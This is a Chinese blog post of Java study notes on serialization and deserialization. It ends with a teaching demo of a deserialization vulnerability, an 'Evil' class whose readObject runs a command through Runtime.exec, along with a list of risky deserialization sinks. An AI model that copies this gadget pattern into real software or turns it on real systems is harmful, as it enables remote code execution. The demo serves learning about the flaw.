java基础五-序列化和反序列化

 序列化和反序列化

序列化:将对象转换为字节序列的过程

反序列化 将字节序列恢复为对象的过程

ObjectOutputStream类的writeObject()方法可以对参数指定的obj对象进行序列化操作,将得到的字节序列写道目标输出流中

ReadObject()方法则是从源输入流中读取字节序列,将其反序列化味对象并返回 

实现序列化

实现Serializable接口-创建对象输出流-调用writeObject()方法-关闭对象输出流 

使用集合保存对象,可以将结合中的所有对象序列化

 

反序列化

反序列化已经要强制类型转换,因为在文本文件中是不能提前知道他的类型是什么的 所以要提前将类型放在对象中

List <Studnet> stu= (List<Student>) ofs.readObject();

 

 泛型输出 

for循环是新建了一个s对象域遍历stu里面的值并输出

关键代码

ObjectInputStream.readObject

ObjectInputStream.readUnshared

XMLDecoder.readObject

Yaml.load

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject

反序列化漏洞之弹计算器\

复制代码
#evil 类
package
test; import java.io.*; public class Evil implements Serializable { public String cmd;    #构造特殊cmd private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } }
复制代码
复制代码
package test;

import java.io.*;

public class SerializeAndDeserialize {
    public static void  main(String[] args) throws Exception{
        Evil evil = new Evil();    #创建evil类
        evil.cmd = " open a Calculator";

        byte[] serializeData = serialize(evil);    #调用序列化函数
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("evil.txt")));
        oo.writeObject(serializeData);
        System.out.println("对象序列化成功");
        oo.close();
        unserialize(serializeData);
        System.out.println("对象反序列化成功");
    }
    public static byte[] serialize(final Object obj) throws Exception{    #序列化函数
        ByteArrayOutputStream btout = new ByteArrayOutputStream();    
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);    #序列化操作
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized)throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objln = new ObjectInputStream(btin);
        return objln.readObject();    #反序列化操作
    }
}
复制代码

 

 

 

posted @   lisenMiller  阅读(43)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示